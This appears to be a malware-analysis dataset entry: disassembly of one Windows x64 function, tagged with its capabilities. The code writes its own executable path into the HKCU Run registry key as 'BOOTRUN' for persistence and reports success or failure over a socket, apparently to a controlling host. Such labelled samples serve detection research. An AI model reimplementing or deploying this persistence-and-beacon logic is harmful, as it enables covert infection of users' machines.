Function at 0x140001a89
Capabilities:
Persist via run registry key
Send data
Send data on socket
Set registry value

Disassembly:
push rbp
sub rsp, 0x360
lea rbp, [rsp + 0x80]
movabs rax, 0xa64656c696146
mov edx, 0
mov qword [rbp + 0x250], rax
mov qword [rbp + 0x258], rdx
mov qword [rbp + 0x260], 0
mov qword [rbp + 0x268], 0
mov qword [rbp + 0x270], 0
mov qword [rbp + 0x278], 0
mov qword [rbp + 0x280], 0
mov qword [rbp + 0x288], 0
mov qword [rbp + 0x290], 0
mov qword [rbp + 0x298], 0
mov qword [rbp + 0x2a0], 0
mov qword [rbp + 0x2a8], 0
mov qword [rbp + 0x2b0], 0
mov qword [rbp + 0x2b8], 0
mov qword [rbp + 0x2c0], 0
mov qword [rbp + 0x2c8], 0
movabs rax, 0x2064657461657243
movabs rdx, 0x6574736973726550
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rdx
movabs rax, 0x3a2074412065636e
movabs rdx, 0x55435f59454b4820
mov qword [rbp + 0x1e0], rax
mov qword [rbp + 0x1e8], rdx
movabs rax, 0x53555f544e455252
movabs rdx, 0x7774666f535c5245
mov qword [rbp + 0x1f0], rax
mov qword [rbp + 0x1f8], rdx
movabs rax, 0x7263694d5c657261
movabs rdx, 0x69575c74666f736f
mov qword [rbp + 0x200], rax
mov qword [rbp + 0x208], rdx
movabs rax, 0x75435c73776f646e
movabs rdx, 0x726556746e657272
mov qword [rbp + 0x210], rax
mov qword [rbp + 0x218], rdx
movabs rax, 0x6e75525c6e6f6973
mov edx, 0xa
mov qword [rbp + 0x220], rax
mov qword [rbp + 0x228], rdx
mov qword [rbp + 0x230], 0
mov qword [rbp + 0x238], 0
mov qword [rbp + 0x240], 0
mov qword [rbp + 0x248], 0
mov dword [rbp + 0x2dc], 0
lea rax, [rbp + 0xc0]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
mov dword [rbp + 0x2dc], eax
cmp dword [rbp + 0x2dc], 0
jne 0x140001cab
mov eax, dword [0x140010040]
cdqe
lea rdx, [rbp + 0x250]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x140001df6
lea rax, [rbp + 0xb8]
mov r8, rax
lea rax, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rdx, rax
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
call rax
test eax, eax
je 0x140001d04
mov eax, dword [0x140010040]
cdqe
lea rdx, [rbp + 0x250]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x140001df6
mov eax, dword [rbp + 0x2dc]
mov dword [rbp + 0x2d8], eax
lea rdx, [rbp + 0xc0]
lea rax, [rbp - 0x50]
mov r9, rdx
lea r8, str.__s_
mov edx, 0x106
mov rcx, rax
mov rax, qword [dbg.sprintf_s]
call rax
mov eax, dword [rbp + 0x2dc]
lea edx, [rax + 2]
mov rax, qword [rbp + 0xb8]
mov dword [rsp + 0x28], edx
lea rdx, [rbp - 0x50]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.BOOTRUN
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
test eax, eax
je 0x140001db7
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [0x140010040]
cdqe
lea rdx, [rbp + 0x250]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0xffffffff
jmp 0x140001df6
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, dword [0x140010040]
cdqe
lea rdx, [rbp + 0x1d0]
mov r9d, 0
mov r8d, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov eax, 0
add rsp, 0x360
pop rbp
ret